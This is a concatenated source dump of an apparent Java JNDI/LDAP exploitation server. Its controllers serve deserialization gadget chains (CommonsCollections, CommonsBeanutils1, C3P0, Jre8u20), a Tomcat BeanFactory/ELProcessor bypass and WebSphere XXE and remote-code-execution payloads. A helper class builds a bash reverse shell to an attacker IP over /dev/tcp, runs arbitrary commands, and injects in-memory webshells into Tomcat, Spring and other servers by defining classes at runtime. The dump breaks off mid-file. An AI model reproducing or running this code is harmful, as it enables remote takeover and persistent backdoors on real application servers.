import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
@LdapMapping(uri = { "/deserialize" })
public class SerializedDataController implements LdapController {
private GadgetType gadgetType;
private PayloadType payloadType;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute");
//这个方法里面有改动,其他基本无改动
Entry e = new Entry(base);
byte[] bytes = null;
switch (gadgetType){
case urldns:
bytes = URLDNS.getBytes(params[0]);
break;
case commonsbeanutils1:
bytes = CommonsBeanutils1.getBytes(payloadType, params);
break;
case commonscollections1:
bytes = CommonsCollections1.getBytes(payloadType, params);
break;
case commonscollections2:
bytes = CommonsCollections2.getBytes(payloadType, params);
break;
case jre8u20:
bytes = Jre8u20.getBytes(payloadType, params);
break;
case c3p0:
bytes = C3P0.getBytes(payloadType, params);
break;
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData",bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try{
gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] GaddgetType: " + gadgetType);
}catch(IllegalArgumentException e){
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex));
}
if(gadgetType == GadgetType.urldns){
String url = "http://" + base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
return;
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if(thirdIndex < 0) thirdIndex = base.length();
try{
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
System.out.println("[+] PayloadType: " + payloadType);
}catch (IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
switch(payloadType){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.io.IOException;
/*
注意:在 Javascript 引擎时,直接使用 sun.misc.Base64Decoder 和 org.apache.tomcat.util.buf.Base64 均会抛出异常
* Requires:
* - Tomcat 8+ or SpringBoot 1.2.x+ in classpath
*/
@LdapMapping(uri = { "/tomcatbypass" })
public class TomcatBypassController implements LdapController {
private PayloadType type;
private String[] params;
private String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
String code = null;
switch (type){
case dnslog:
code = helper.getDnsRequestCode(params[0]);
break;
case command:
code = helper.getExecCode(params[0]);
break;
case reverseshell:
code = helper.getReverseShellCode(params[0], params[1]);
break;
case tomcatmemshell:
code = helper.injectTomcatMemsell();
break;
case springmemshell:
code = helper.injectSpringMemshell();
break;
}
String finalPayload = payloadTemplate.replace("{replacement}", code);
System.out.println("[+] Return script:");
System.out.println("-----------------------------------------------");
System.out.println(finalPayload);
System.out.println("-----------------------------------------------");
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
//因为是 Tomcat Bypass,所以仅需要支持 Tomcat内存shell 和 Spring内存shell 即可
if(type == PayloadType.weblogicmemshell || type == PayloadType.webspherememshell
|| type == PayloadType.jettymemshell || type == PayloadType.jbossmemshell){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
}
System.out.println("[+] Paylaod: " + type);
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
}
switch (type){
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
params = new String[]{url};
break;
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
params = new String[]{cmd};
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
params = results;
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private class TomcatBypassHelper{
/*
在对代码进行改写时需要注意:
① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes )
② 必须使用全类名
③ System.out.println() 需要修改为 print()
④ try{...}catch(Exception e){...} 需要修改为 try{...}catch(err){...}
⑤ 双引号改为单引号
⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等
⑦ 去除类型强转
⑧ 不能用 sun.misc.Base64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: "sun" is not defined in at line number 1
⑨ 不能使用 for(Object obj : objects) 循环
*/
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
public String getDnsRequestCode(String dnslog){
String code = "var str;\n" +
" if(java.io.File.separator.equals('/')){\n" +
" str = 'ping -c 1 " + dnslog + "';\n" +
" }else{\n" +
" str = 'nslookup " + dnslog + "';\n" +
" }\n" +
"\n" +
" java.lang.Runtime.getRuntime().exec(str);";
return code;
}
public String getReverseShellCode(String ip, String port){
int pt = Integer.parseInt(port);
String code = "if(java.io.File.separator.equals('/')){\n" +
" var cmds = new Array('/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/" + ip + "/" + pt + "');\n" +
" java.lang.Runtime.getRuntime().exec(cmds);\n" +
" }";
return code;
}
public String injectTomcatMemsell(){
return injectMemshell("com.feihong.ldap.template.TomcatMemshellTemplate");
}
public String injectSpringMemshell(){
return injectMemshell("com.feihong.ldap.template.SpringMemshellTemplate");
}
public String injectMemshell(String className){
//使用类加载的方式最为方便,可维护性也大大增强
String classCode = null;
try{
classCode = Util.getClassCode(className);
}catch(Exception e){
e.printStackTrace();
}
//没法直接调用 sun.misc.Base64Decoder,会报错,索性用反射的方法写了
String code = "var bytes;\n" +
" str = '" + classCode + "';\n" +
" try{\n" +
" var clazz = java.lang.Class.forName('java.util.Base64');\n" +
" var method = clazz.getDeclaredMethod('getDecoder');\n" +
" var obj = method.invoke(null);\n" +
" method = obj.getClass().getDeclaredMethod('decode', java.lang.String.class);\n" +
" obj = method.invoke(obj, str);\n" +
" bytes = obj;\n" +
" }catch(err){\n" +
" var clazz = java.lang.Class.forName('sun.misc.BASE64Decoder');\n" +
" var method = clazz.getMethod('decodeBuffer', java.lang.String.class);\n" +
" var obj = method.invoke(clazz.newInstance(), str);\n" +
" bytes = obj;\n" +
" }\n" +
" \n" +
" var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
" var method = null;\n" +
" var clz = classLoader.getClass();\n" +
" while(method == null && clz != java.lang.Object.class ){\n" +
" try{\n" +
" method = clz.getDeclaredMethod('defineClass', '123'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" }catch(err){\n" +
" clz = clz.getSuperclass();\n" +
" }\n" +
" }\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();";
return code;
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java
================================================
package com.feihong.ldap.controllers;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.enumtypes.WebsphereActionType;
import com.feihong.ldap.exceptions.IncorrectParamsException;
import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
import com.feihong.ldap.utils.*;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = { "/webspherebypass" })
public class WebsphereBypassController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("[+] Sending LDAP ResourceRef result for " + base);
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
if(actionType == WebsphereActionType.rce){
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
Reference ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
e.addAttribute("javaSerializedData", Util.serialize(ref));
}else{
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
javax.naming.Reference ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace","xxx"));
ref.add(new StringRefAddr("service local part","yyy"));
e.addAttribute("javaSerializedData", Util.serialize(ref));
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try{
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if(secondIndex < 0) secondIndex = base.length();
try{
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println("[+] ActionType: " + actionType);
}catch(IllegalArgumentException e){
throw new UnSupportedActionTypeException("UnSupportedActionType: " + base.substring(firstIndex + 1, secondIndex));
}
switch(actionType){
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println("[+] Read File/List Directory: " + file);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println("[+] Local jar path: " + localJarFile);
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if(thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType = null;
try{
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
}catch(IllegalArgumentException e){
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println("[+] PayloadType: " + payloadType);
switch (payloadType){
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println("[+] Command: " + cmd);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println("[+] URL: " + url);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println("[+] IP: " + results[0]);
System.out.println("[+] Port: " + results[1]);
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
}catch(Exception e){
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/GadgetType.java
================================================
package com.feihong.ldap.enumtypes;
public enum GadgetType {
urldns,
commonsbeanutils1,
commonscollections1,
commonscollections2,
jre8u20,
c3p0;
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/MemShellType.java
================================================
package com.feihong.ldap.enumtypes;
public final class MemShellType {
private MemShellType(){};
public static final String TOMCAT = "com.feihong.ldap.template.TomcatMemshellTemplate";
public static final String JETTY = "com.feihong.ldap.template.JettyMemshellTemplate";
public static final String WEBLOGIC = "com.feihong.ldap.template.WeblogicMemshellTemplate";
public static final String JBOSS = "com.feihong.ldap.template.JBossMemshellTemplate";
public static final String WEBSPHERE = "com.feihong.ldap.template.WebsphereMemshellTemplate";
public static final String SPRING = "com.feihong.ldap.template.SpringMemshellTemplate";
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/PayloadType.java
================================================
package com.feihong.ldap.enumtypes;
public enum PayloadType {
command,
dnslog,
reverseshell,
tomcatmemshell,
weblogicmemshell,
jettymemshell,
jbossmemshell,
webspherememshell,
springmemshell;
}
================================================
FILE: src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java
================================================
package com.feihong.ldap.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java
================================================
package com.feihong.ldap.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException(){
super();
}
public IncorrectParamsException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedActionTypeException extends RuntimeException{
public UnSupportedActionTypeException(){
super();
}
public UnSupportedActionTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException(){ super();}
public UnSupportedGadgetTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException(){
super();
}
public UnSupportedPayloadTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/C3P0.java
================================================
package com.feihong.ldap.gadgets;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.enumtypes.MemShellType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
public class C3P0 {
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
String className;
switch (type){
case command:
CommandTemplate commandTemplate = new CommandTemplate(param[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
break;
case dnslog:
DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
dnslogTemplate.cache();
className = dnslogTemplate.getClassName();
break;
case reverseshell:
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
reverseShellTemplate.cache();
className = reverseShellTemplate.getClassName();
break;
case tomcatmemshell:
className = MemShellType.TOMCAT;
break;
case jettymemshell:
className = MemShellType.JETTY;
break;
case jbossmemshell:
className = MemShellType.JBOSS;
break;
case weblogicmemshell:
className = MemShellType.WEBLOGIC;
break;
case webspherememshell:
className = MemShellType.WEBSPHERE;
break;
case springmemshell:
className = MemShellType.SPRING;
break;
default:
throw new IllegalStateException("Unexpected value: " + type);
}
PoolBackedDataSource b = PoolBackedDataSource.class.newInstance();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/"));
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(b);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.gadgets.utils.Gadgets;
import com.feihong.ldap.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes(PayloadType.command, "calc");
FileOutputStream fous = new FileOutputStream("333.ser");
fous.write(bytes);
fous.close();
}
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(type, param);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue